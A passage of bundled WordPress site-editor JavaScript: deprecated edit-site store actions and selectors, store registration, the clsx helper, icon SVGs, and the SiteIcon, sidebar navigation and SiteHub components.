 * @return {Object} Action object.
 */
function setPage() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setPage", {
    since: '6.5',
    version: '6.8',
    hint: 'The setPage is not needed anymore, the correct entity is resolved from the URL automatically.'
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Action that sets the active navigation panel menu.
 *
 * @deprecated
 *
 * @return {Object} Action object.
 */
function setNavigationPanelActiveMenu() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setNavigationPanelActiveMenu", {
    since: '6.2',
    version: '6.4'
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Opens the navigation panel and sets its active menu at the same time.
 *
 * @deprecated
 */
function openNavigationPanelToMenu() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).openNavigationPanelToMenu", {
    since: '6.2',
    version: '6.4'
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Sets whether the navigation panel should be open.
 *
 * @deprecated
 */
function setIsNavigationPanelOpened() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsNavigationPanelOpened", {
    since: '6.2',
    version: '6.4'
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Returns an action object used to open/close the inserter.
 *
 * @deprecated
 *
 * @param {boolean|Object} value Whether the inserter should be opened (true) or closed (false).
 */
const setIsInserterOpened = value => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsInserterOpened", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').setIsInserterOpened"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).setIsInserterOpened(value);
};

/**
 * Returns an action object used to open/close the list view.
 *
 * @deprecated
 *
 * @param {boolean} isOpen A boolean representing whether the list view should be opened or closed.
 */
const setIsListViewOpened = isOpen => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsListViewOpened", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').setIsListViewOpened"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).setIsListViewOpened(isOpen);
};

/**
 * Returns an action object used to update the settings.
 *
 * @param {Object} settings New settings.
 *
 * @return {Object} Action object.
 */
function updateSettings(settings) {
  return {
    type: 'UPDATE_SETTINGS',
    settings
  };
}

/**
 * Sets whether the save view panel should be open.
 *
 * @param {boolean} isOpen If true, opens the save view. If false, closes it.
 *                         It does not toggle the state, but sets it directly.
 */
function setIsSaveViewOpened(isOpen) {
  return {
    type: 'SET_IS_SAVE_VIEW_OPENED',
    isOpen
  };
}

/**
 * Reverts a template to its original theme-provided file.
 *
 * @param {Object}  template            The template to revert.
 * @param {Object}  [options]
 * @param {boolean} [options.allowUndo] Whether to allow the user to undo
 *                                      reverting the template. Default true.
 */
const revertTemplate = (template, options) => ({
  registry
}) => {
  return unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).revertTemplate(template, options);
};

/**
 * Action that opens an editor sidebar.
 *
 * @param {?string} name Sidebar name to be opened.
 */
const openGeneralSidebar = name => ({
  registry
}) => {
  registry.dispatch(interfaceStore).enableComplementaryArea('core', name);
};

/**
 * Action that closes the sidebar.
 */
const closeGeneralSidebar = () => ({
  registry
}) => {
  registry.dispatch(interfaceStore).disableComplementaryArea('core');
};

/**
 * Triggers an action used to switch editor mode.
 *
 * @deprecated
 *
 * @param {string} mode The editor mode.
 */
const switchEditorMode = mode => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).switchEditorMode", {
    since: '6.6',
    alternative: "dispatch( 'core/editor').switchEditorMode"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).switchEditorMode(mode);
};

/**
 * Sets whether or not the editor allows only page content to be edited.
 *
 * @param {boolean} hasPageContentFocus True to allow only page content to be
 *                                      edited, false to allow template to be
 *                                      edited.
 */
const setHasPageContentFocus = hasPageContentFocus => ({
  dispatch,
  registry
}) => {
  external_wp_deprecated_default()(`dispatch( 'core/edit-site' ).setHasPageContentFocus`, {
    since: '6.5'
  });
  if (hasPageContentFocus) {
    registry.dispatch(external_wp_blockEditor_namespaceObject.store).clearSelectedBlock();
  }
  dispatch({
    type: 'SET_HAS_PAGE_CONTENT_FOCUS',
    hasPageContentFocus
  });
};

/**
 * Action that toggles Distraction free mode.
 * Distraction free mode expects there are no sidebars, as due to the
 * z-index values set, you can't close sidebars.
 *
 * @deprecated
 */
const toggleDistractionFree = () => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).toggleDistractionFree", {
    since: '6.6',
    alternative: "dispatch( 'core/editor').toggleDistractionFree"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).toggleDistractionFree();
};

;// ./node_modules/@wordpress/edit-site/build-module/store/private-actions.js
/**
 * Action that switches the editor canvas container view.
 *
 * @param {?string} view Editor canvas container view.
 */
const setEditorCanvasContainerView = view => ({
  dispatch
}) => {
  dispatch({
    type: 'SET_EDITOR_CANVAS_CONTAINER_VIEW',
    view
  });
};
function registerRoute(route) {
  return {
    type: 'REGISTER_ROUTE',
    route
  };
}
function unregisterRoute(name) {
  return {
    type: 'UNREGISTER_ROUTE',
    name
  };
}

;// ./node_modules/@wordpress/edit-site/build-module/utils/get-filtered-template-parts.js
/**
 * WordPress dependencies
 */

const EMPTY_ARRAY = [];

/**
 * Get a flattened and filtered list of template parts and the matching block for that template part.
 *
 * Takes a list of blocks defined within a template, and a list of template parts, and returns a
 * flattened list of template parts and the matching block for that template part.
 *
 * @param {Array}  blocks        Blocks to flatten.
 * @param {?Array} templateParts Available template parts.
 * @return {Array} An array of template parts and their blocks.
 */
function getFilteredTemplatePartBlocks(blocks = EMPTY_ARRAY, templateParts) {
  const templatePartsById = templateParts ?
  // Key template parts by their ID.
  templateParts.reduce((newTemplateParts, part) => ({
    ...newTemplateParts,
    [part.id]: part
  }), {}) : {};
  const result = [];

  // Iterate over all blocks, recursing into inner blocks.
  // Output will be based on a depth-first traversal.
  const stack = [...blocks];
  while (stack.length) {
    const {
      innerBlocks,
      ...block
    } = stack.shift();
    // Place inner blocks at the beginning of the stack to preserve order.
    stack.unshift(...innerBlocks);
    if ((0,external_wp_blocks_namespaceObject.isTemplatePart)(block)) {
      const {
        attributes: {
          theme,
          slug
        }
      } = block;
      const templatePartId = `${theme}//${slug}`;
      const templatePart = templatePartsById[templatePartId];

      // Only add to output if the found template part block is in the list of available template parts.
      if (templatePart) {
        result.push({
          templatePart,
          block
        });
      }
    }
  }
  return result;
}

;// ./node_modules/@wordpress/edit-site/build-module/store/selectors.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */




/**
 * @typedef {'template'|'template_type'} TemplateType Template type.
 */

/**
 * Returns whether the given feature is enabled or not.
 *
 * @deprecated
 * @param {Object} state       Global application state.
 * @param {string} featureName Feature slug.
 *
 * @return {boolean} Is active.
 */
const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (_, featureName) => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).isFeatureActive`, {
    since: '6.0',
    alternative: `select( 'core/preferences' ).get`
  });
  return !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', featureName);
});

/**
 * Returns the current editing canvas device type.
 *
 * @deprecated
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Device type.
 */
const __experimentalGetPreviewDeviceType = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).__experimentalGetPreviewDeviceType`, {
    since: '6.5',
    version: '6.7',
    alternative: `select( 'core/editor' ).getDeviceType`
  });
  return select(external_wp_editor_namespaceObject.store).getDeviceType();
});

/**
 * Returns whether the current user can create media or not.
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} Whether the current user can create media or not.
 */
const getCanUserCreateMedia = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`wp.data.select( 'core/edit-site' ).getCanUserCreateMedia()`, {
    since: '6.7',
    alternative: `wp.data.select( 'core' ).canUser( 'create', { kind: 'root', type: 'media' } )`
  });
  return select(external_wp_coreData_namespaceObject.store).canUser('create', 'media');
});

/**
 * Returns any available Reusable blocks.
 *
 * @param {Object} state Global application state.
 *
 * @return {Array} The available reusable blocks.
 */
const getReusableBlocks = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).getReusableBlocks()`, {
    since: '6.5',
    version: '6.8',
    alternative: `select( 'core/core' ).getEntityRecords( 'postType', 'wp_block' )`
  });
  const isWeb = external_wp_element_namespaceObject.Platform.OS === 'web';
  return isWeb ? select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', 'wp_block', {
    per_page: -1
  }) : [];
});

/**
 * Returns the site editor settings.
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} Settings.
 */
function getSettings(state) {
  // It is important that we don't inject anything into these settings locally.
  // The reason for this is that we have an effect in place that calls setSettings based on the previous value of getSettings.
  // If we add computed settings here, we'll be adding these computed settings to the state which is very unexpected.
  return state.settings;
}

/**
 * @deprecated
 */
function getHomeTemplateId() {
  external_wp_deprecated_default()("select( 'core/edit-site' ).getHomeTemplateId", {
    since: '6.2',
    version: '6.4'
  });
}

/**
 * Returns the current edited post type (wp_template or wp_template_part).
 *
 * @deprecated
 * @param {Object} state Global application state.
 *
 * @return {?TemplateType} Template type.
 */
function getEditedPostType(state) {
  external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostType", {
    since: '6.8',
    alternative: "select( 'core/editor' ).getCurrentPostType"
  });
  return state.editedPost.postType;
}

/**
 * Returns the ID of the currently edited template or template part.
 *
 * @deprecated
 * @param {Object} state Global application state.
 *
 * @return {?string} Post ID.
 */
function getEditedPostId(state) {
  external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostId", {
    since: '6.8',
    alternative: "select( 'core/editor' ).getCurrentPostId"
  });
  return state.editedPost.id;
}

/**
 * Returns the edited post's context object.
 *
 * @deprecated
 * @param {Object} state Global application state.
 *
 * @return {Object} Page.
 */
function getEditedPostContext(state) {
  external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostContext", {
    since: '6.8'
  });
  return state.editedPost.context;
}

/**
 * Returns the current page object.
 *
 * @deprecated
 * @param {Object} state Global application state.
 *
 * @return {Object} Page.
 */
function getPage(state) {
  external_wp_deprecated_default()("select( 'core/edit-site' ).getPage", {
    since: '6.8'
  });
  return {
    context: state.editedPost.context
  };
}

/**
 * Returns true if the inserter is opened.
 *
 * @deprecated
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the inserter is opened.
 */
const isInserterOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).isInserterOpened`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).isInserterOpened`
  });
  return select(external_wp_editor_namespaceObject.store).isInserterOpened();
});

/**
 * Get the insertion point for the inserter.
 *
 * @deprecated
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} The root client ID, index to insert at and starting filter value.
 */
const __experimentalGetInsertionPoint = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).__experimentalGetInsertionPoint`, {
    since: '6.5',
    version: '6.7'
  });
  return unlock(select(external_wp_editor_namespaceObject.store)).getInserter();
});

/**
 * Returns true if the list view is opened.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the list view is opened.
 */
const isListViewOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).isListViewOpened`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).isListViewOpened`
  });
  return select(external_wp_editor_namespaceObject.store).isListViewOpened();
});

/**
 * Returns the current opened/closed state of the save panel.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} True if the save panel should be open; false if closed.
 */
function isSaveViewOpened(state) {
  return state.saveViewPanel;
}
function getBlocksAndTemplateParts(select) {
  const templateParts = select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', TEMPLATE_PART_POST_TYPE, {
    per_page: -1
  });
  const {
    getBlocksByName,
    getBlocksByClientId
  } = select(external_wp_blockEditor_namespaceObject.store);
  const clientIds = getBlocksByName('core/template-part');
  const blocks = getBlocksByClientId(clientIds);
  return [blocks, templateParts];
}

/**
 * Returns the template parts and their blocks for the current edited template.
 *
 * @deprecated
 * @param {Object} state Global application state.
 * @return {Array} Template parts and their blocks in an array.
 */
const getCurrentTemplateTemplateParts = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(() => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).getCurrentTemplateTemplateParts()`, {
    since: '6.7',
    version: '6.9',
    alternative: `select( 'core/block-editor' ).getBlocksByName( 'core/template-part' )`
  });
  return getFilteredTemplatePartBlocks(...getBlocksAndTemplateParts(select));
}, () => getBlocksAndTemplateParts(select)));

/**
 * Returns the current editing mode.
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Editing mode.
 */
const getEditorMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  return select(external_wp_preferences_namespaceObject.store).get('core', 'editorMode');
});

/**
 * @deprecated
 */
function getCurrentTemplateNavigationPanelSubMenu() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).getCurrentTemplateNavigationPanelSubMenu", {
    since: '6.2',
    version: '6.4'
  });
}

/**
 * @deprecated
 */
function getNavigationPanelActiveMenu() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).getNavigationPanelActiveMenu", {
    since: '6.2',
    version: '6.4'
  });
}

/**
 * @deprecated
 */
function isNavigationOpened() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).isNavigationOpened", {
    since: '6.2',
    version: '6.4'
  });
}

/**
 * Whether or not the editor has a page loaded into it.
 *
 * @see setPage
 * @deprecated
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether or not the editor has a page loaded into it.
 */
function isPage(state) {
  external_wp_deprecated_default()("select( 'core/edit-site' ).isPage", {
    since: '6.8',
    alternative: "select( 'core/editor' ).getCurrentPostType"
  });
  return !!state.editedPost.context?.postId;
}

/**
 * Whether or not the editor allows only page content to be edited.
 *
 * @deprecated
 *
 * @return {boolean} Whether or not focus is on editing page content.
 */
function hasPageContentFocus() {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).hasPageContentFocus`, {
    since: '6.5'
  });
  return false;
}

;// ./node_modules/@wordpress/edit-site/build-module/store/private-selectors.js
/**
 * Returns the editor canvas container view.
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Editor canvas container view.
 */
function getEditorCanvasContainerView(state) {
  return state.editorCanvasContainerView;
}
function getRoutes(state) {
  return state.routes;
}

;// ./node_modules/@wordpress/edit-site/build-module/store/constants.js
/**
 * The identifier for the data store.
 *
 * @type {string}
 */
const STORE_NAME = 'core/edit-site';

;// ./node_modules/@wordpress/edit-site/build-module/store/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */







const storeConfig = {
  reducer: reducer,
  actions: actions_namespaceObject,
  selectors: selectors_namespaceObject
};
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, storeConfig);
(0,external_wp_data_namespaceObject.register)(store);
unlock(store).registerPrivateSelectors(private_selectors_namespaceObject);
unlock(store).registerPrivateActions(private_actions_namespaceObject);

;// external ["wp","router"]
const external_wp_router_namespaceObject = window["wp"]["router"];
;// ./node_modules/clsx/dist/clsx.mjs
function clsx_r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=clsx_r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=clsx_r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
;// external ["wp","commands"]
const external_wp_commands_namespaceObject = window["wp"]["commands"];
;// external ["wp","coreCommands"]
const external_wp_coreCommands_namespaceObject = window["wp"]["coreCommands"];
;// external ["wp","plugins"]
const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
;// external ["wp","htmlEntities"]
const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// ./node_modules/@wordpress/icons/build-module/library/search.js
/**
 * WordPress dependencies
 */


const search = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"
  })
});
/* harmony default export */ const library_search = (search);

;// external ["wp","keycodes"]
const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
;// external ["wp","url"]
const external_wp_url_namespaceObject = window["wp"]["url"];
;// ./node_modules/@wordpress/icons/build-module/library/wordpress.js
/**
 * WordPress dependencies
 */


const wordpress = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "-2 -2 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"
  })
});
/* harmony default export */ const library_wordpress = (wordpress);

;// ./node_modules/@wordpress/edit-site/build-module/components/site-icon/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */






function SiteIcon({
  className
}) {
  const {
    isRequestingSite,
    siteIconUrl
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteData = getEntityRecord('root', '__unstableBase', undefined);
    return {
      isRequestingSite: !siteData,
      siteIconUrl: siteData?.site_icon_url
    };
  }, []);
  if (isRequestingSite && !siteIconUrl) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-site-icon__image"
    });
  }
  const icon = siteIconUrl ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
    className: "edit-site-site-icon__image",
    alt: (0,external_wp_i18n_namespaceObject.__)('Site Icon'),
    src: siteIconUrl
  }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
    className: "edit-site-site-icon__icon",
    icon: library_wordpress,
    size: 48
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: dist_clsx(className, 'edit-site-site-icon'),
    children: icon
  });
}
/* harmony default export */ const site_icon = (SiteIcon);

;// external ["wp","dom"]
const external_wp_dom_namespaceObject = window["wp"]["dom"];
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */



const SidebarNavigationContext = (0,external_wp_element_namespaceObject.createContext)(() => {});
// Focus a sidebar element after a navigation. The element to focus is either
// specified by `focusSelector` (when navigating back) or it is the first
// tabbable element (usually the "Back" button).
function focusSidebarElement(el, direction, focusSelector) {
  let elementToFocus;
  if (direction === 'back' && focusSelector) {
    elementToFocus = el.querySelector(focusSelector);
  }
  if (direction !== null && !elementToFocus) {
    const [firstTabbable] = external_wp_dom_namespaceObject.focus.tabbable.find(el);
    elementToFocus = firstTabbable !== null && firstTabbable !== void 0 ? firstTabbable : el;
  }
  elementToFocus?.focus();
}

// Navigation state that is updated when navigating back or forward. Helps us
// manage the animations and also focus.
function createNavState() {
  let state = {
    direction: null,
    focusSelector: null
  };
  return {
    get() {
      return state;
    },
    navigate(direction, focusSelector = null) {
      state = {
        direction,
        focusSelector: direction === 'forward' && focusSelector ? focusSelector : state.focusSelector
      };
    }
  };
}
function SidebarContentWrapper({
  children,
  shouldAnimate
}) {
  const navState = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
  const wrapperRef = (0,external_wp_element_namespaceObject.useRef)();
  const [navAnimation, setNavAnimation] = (0,external_wp_element_namespaceObject.useState)(null);
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    const {
      direction,
      focusSelector
    } = navState.get();
    focusSidebarElement(wrapperRef.current, direction, focusSelector);
    setNavAnimation(direction);
  }, [navState]);
  const wrapperCls = dist_clsx('edit-site-sidebar__screen-wrapper',
  /*
   * Some panes do not have sub-panes and therefore
   * should not animate when clicked on.
   */
  shouldAnimate ? {
    'slide-from-left': navAnimation === 'back',
    'slide-from-right': navAnimation === 'forward'
  } : {});
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    ref: wrapperRef,
    className: wrapperCls,
    children: children
  });
}
function SidebarNavigationProvider({
  children
}) {
  const [navState] = (0,external_wp_element_namespaceObject.useState)(createNavState);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationContext.Provider, {
    value: navState,
    children: children
  });
}
function SidebarContent({
  routeKey,
  shouldAnimate,
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "edit-site-sidebar__content",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContentWrapper, {
      shouldAnimate: shouldAnimate,
      children: children
    }, routeKey)
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/site-hub/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */












/**
 * Internal dependencies
 */





const {
  useLocation,
  useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const SiteHub = (0,external_wp_element_namespaceObject.memo)((0,external_wp_element_namespaceObject.forwardRef)(({
  isTransparent
}, ref) => {
  const {
    dashboardLink,
    homeUrl,
    siteTitle
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = unlock(select(store));
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const _site = getEntityRecord('root', 'site');
    return {
      dashboardLink: getSettings().__experimentalDashboardLink,
      homeUrl: getEntityRecord('root', '__unstableBase')?.home,
      siteTitle: !_site?.title && !!_site?.url ? (0,external_wp_url_namespaceObject.filterURLForDisplay)(_site?.url) : _site?.title
    };
  }, []);
  const {
    open: openCommandCenter
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_commands_namespaceObject.store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "edit-site-site-hub",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "flex-start",
      spacing: "0",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: dist_clsx('edit-site-site-hub__view-mode-toggle-container', {
          'has-transparent-background': isTransparent
        }),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          ref: ref,
          href: dashboardLink,
          label: (0,external_wp_i18n_namespaceObject.__)('Go to the Dashboard'),
          className: "edit-site-layout__view-mode-toggle",
          style: {
            transform: 'scale(0.5333) translateX(-4px)',
            // Offset to position the icon 12px from viewport edge
            borderRadius: 4
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon, {
            className: "edit-site-layout__view-mode-toggle-icon"
          })
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-site-hub__title",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "link",
            href: homeUrl,
            target: "_blank",
            children: [(0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
              as: "span",
              children: /* translators: accessibility text */
              (0,external_wp_i18n_namespaceObject.__)('(opens in a new tab)')
            })]
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
          spacing: 0,
          expanded: false,
          className: "edit-site-site-hub__actions",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            size: "compact",
            className: "edit-site-site-hub_toggle-command-center",
            icon: library_search,
            onClick: () => openCommandCenter(),
            label: (0,external_wp_i18n_namespaceObject.__)('Open command palette'),
            shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary('k')
          })
        })]
      })]
    })
  });
}));
/* harmony default export */ const site_hub = (SiteHub);
const SiteHubMobile = (0,external_wp_element_namespaceObject.memo)((0,external_wp_element_namespaceObject.forwardRef)(({
  isTransparent
}, ref) => {
  const {
    path
  } = useLocation();
  const history = useHistory();
  const {
    navigate
  } = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
  const {
    dashboardLink,
    homeUrl,
    siteTitle,
    isBlockTheme,
    isClassicThemeWithStyleBookSupport
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = unlock(select(store));
    const {
      getEntityRecord,
      getCurrentTheme
    } = select(external_wp_coreData_namespaceObject.store);
    const _site = getEntityRecord('root', 'site');
    const currentTheme = getCurrentTheme();
    const settings = getSettings();
    const supportsEditorStyles = currentTheme.theme_supports['editor-styles'];
    // This is a temp solution until the has_theme_json value is available for the current theme.
    const hasThemeJson = settings.supportsLayout;
    return {
      dashboardLink: settings.__experimentalDashboardLink,
      homeUrl: getEntityRecord('root', '__unstableBase')?.home,
      siteTitle: !_site?.title && !!_site?.url ? (0,external_wp_url_namespaceObject.filterURLForDisplay)(_site?.url) : _site?.title,
      isBlockTheme: currentTheme?.is_block_theme,
      isClassicThemeWithStyleBookSupport: !currentTheme?.is_block_theme && (supportsEditorStyles || hasThemeJson)
    };
  }, []);
  const {
    open: openCommandCenter
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_commands_namespaceObject.store);
  let backPath;

  // If the current path is not the root page, find a page to back to.
  if (path !== '/') {
    if (isBlockTheme || isClassicThemeWithStyleBookSupport) {
      // If the current theme is a block theme or a classic theme that supports StyleBook,
      // back to the Design screen.
      backPath = '/';
    } else if (path !== '/pattern') {
      // If the current theme is a classic theme that does not support StyleBook,
      // back to the Patterns page.
      backPath = '/pattern';
    }
  }
  const backButtonProps = {
    href: !!backPath ? undefined : dashboardLink,
    label: !!backPath ? (0,external_wp_i18n_namespaceObject.__)('Go to Site Editor') : (0,external_wp_i18n_namespaceObject.__)('Go to the Dashboard'),
    onClick: !!backPath ? () => {
      history.navigate(backPath);
      navigate('back');
    } : undefined
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "edit-site-site-hub",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "flex-start",
      spacing: "0",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: dist_clsx('edit-site-site-hub__view-mode-toggle-container', {
          'has-transparent-background': isTransparent
        }),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          ref: ref,
          className: "edit-site-layout__view-mode-toggle",
          style: {
            transform: 'scale(0.5)',
            borderRadius: 4
          },
          ...backButtonProps,
